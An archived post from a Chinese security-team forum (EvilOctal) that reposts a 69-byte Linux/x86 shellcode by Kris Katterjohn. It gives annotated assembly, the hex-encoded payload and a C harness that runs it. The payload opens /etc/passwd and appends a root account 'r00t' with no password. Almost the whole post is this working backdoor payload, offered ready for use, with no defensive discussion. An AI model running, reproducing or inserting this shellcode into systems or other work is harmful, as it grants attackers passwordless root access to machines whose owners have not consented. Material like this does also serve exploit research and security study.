邪恶八进制信息安全团队技术讨论组's Archiver

ring04h 2006-11-18 12:53

linux/x86 add root user r00t with no password to /etc/passwd 69 bytes

[code]
/* By Kris Katterjohn 11/14/2006
*
* 69 byte shellcode to add root user 'r00t' with no password to /etc/passwd
*
* for Linux/x86
*
*
*
* section .text
*
*    global _start
*
* _start:
*
* ; open("/etc//passwd", O_WRONLY | O_APPEND)
*
*    push byte 5
*    pop eax
*    xor ecx, ecx
*    push ecx
*    push 0x64777373
*    push 0x61702f2f
*    push 0x6374652f
*    mov ebx, esp
*    mov cx, 02001Q
*    int 0x80
*
*    mov ebx, eax
*
* ; write(ebx, "r00t::0:0:::", 12)
*
*    push byte 4
*    pop eax
*    xor edx, edx
*    push edx
*    push 0x3a3a3a30
*    push 0x3a303a3a
*    push 0x74303072
*    mov ecx, esp
*    push byte 12
*    pop edx
*    int 0x80
*
* ; close(ebx)
*
*    push byte 6
*    pop eax
*    int 0x80
*
* ; exit()
*
*    push byte 1
*    pop eax
*    int 0x80
*/

main()
{
     char shellcode[] =
          "\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68"
          "\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66"
          "\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2"
          "\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68"
          "\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a"
          "\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80";

     (*(void (*)()) shellcode)();
}


[/code]

页: [1]
© 1999-2008 EvilOctal Security Team